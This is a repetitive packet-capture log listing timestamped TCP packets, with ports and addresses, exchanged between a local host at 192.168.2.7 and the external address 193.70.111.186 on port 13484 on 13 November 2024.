Nov 13, 2024 15:02:36.407246113 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407259941 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407272100 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407295942 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407310009 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407329082 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407341003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407354116 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407377005 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407390118 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407402992 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407417059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407510996 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407524109 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407536030 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407547951 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407560110 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407597065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407609940 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407623053 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407636881 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407649040 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407661915 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407674074 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407685995 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407733917 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407747030 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407758951 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407772064 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.407784939 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408001900 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408014059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408061981 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408075094 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408087969 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408101082 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408112049 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408124924 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408139944 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408147097 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408149004 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408232927 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408236980 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408248901 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408387899 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408401966 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408415079 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408427954 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408440113 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408452034 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408468008 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408471107 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408483982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408497095 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408509970 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408523083 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408536911 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408548117 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408571959 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408584118 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408596039 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408607960 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408621073 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408633947 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408729076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408742905 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408755064 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408775091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408787012 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408801079 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408813953 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408827066 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408844948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408850908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408874035 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408886909 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408900023 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408912897 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408926010 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408937931 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408986092 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.408999920 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409012079 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409024954 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409037113 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409048080 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409065962 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409090042 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409102917 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409115076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409126997 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409142971 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409161091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409230947 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409245014 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409368992 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409382105 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409482002 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409495115 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409507036 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409518957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409533024 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409544945 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409564018 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409570932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409625053 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409641027 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409652948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409666061 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409677982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409698963 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409710884 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409724951 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409737110 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409749985 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409761906 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409774065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409790993 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409791946 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409887075 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409900904 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409913063 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409924984 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409930944 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409935951 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409946918 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409959078 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409971952 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409985065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.409997940 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410011053 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410022974 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410101891 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410114050 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410126925 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410237074 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410250902 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410264969 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410286903 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410393000 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410408020 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410420895 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410434961 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410449028 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410463095 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410481930 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410495043 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410511017 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410525084 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410538912 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410552979 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410567045 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410588026 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410600901 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410614967 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410629034 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410644054 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410656929 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410676003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410690069 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410705090 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410718918 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410736084 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410749912 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410763025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410777092 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410797119 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410813093 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410825968 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410839081 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410851955 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410865068 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410877943 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410898924 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410912037 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410938025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410953045 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410967112 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410979986 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.410999060 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411012888 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411029100 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411043882 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411057949 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411072016 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411089897 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411094904 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411096096 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411119938 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411134005 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411149025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411163092 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411176920 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411191940 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411196947 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411200047 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411214113 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411231041 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411245108 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411257982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411271095 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411283970 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411304951 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411325932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411339998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411354065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411413908 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411428928 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411442041 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411456108 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411469936 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411483049 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411495924 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411509991 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411524057 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411536932 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411556959 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411573887 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411587954 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411601067 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411614895 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411628962 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411643982 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411649942 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411652088 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411678076 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411695957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411710024 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411724091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411736965 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411756992 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411771059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411783934 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.411798000 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412250042 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412252903 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412266016 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412280083 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412292957 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412307024 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.412321091 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.454515934 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.437443018 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.439527988 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.444566011 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.444749117 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.445574999 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.450586081 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.481265068 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.794711113 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.799854040 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.799890041 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.799911976 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.799943924 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.799973965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800009966 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800015926 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.800019979 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800046921 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800071001 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.800095081 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.800714970 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800744057 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800771952 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.800784111 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.801002979 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.805782080 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805813074 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805840015 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805867910 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805881977 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.805895090 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805915117 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.805922985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.805958033 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.805972099 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.850194931 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.850321054 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.902256012 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.902342081 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.950242996 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.950309992 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:37.998305082 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:37.998382092 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.028469086 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.028661013 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033584118 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033612967 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033647060 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033663988 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033674955 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033698082 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033727884 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033730030 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033759117 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033787012 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033813953 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033818007 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033842087 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033853054 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033869982 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033878088 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033899069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033946991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.033962011 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.033976078 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034003973 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034007072 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034032106 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034058094 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034059048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034086943 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034096003 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034110069 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034116983 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034141064 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034145117 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034173965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034173965 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034188032 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034202099 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034250975 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034255981 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034280062 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034306049 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034332037 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034332991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034362078 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034363031 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034387112 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:38.034389019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034416914 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.034419060 CET	49744	13484	192.168.2.7	193.70.111.186
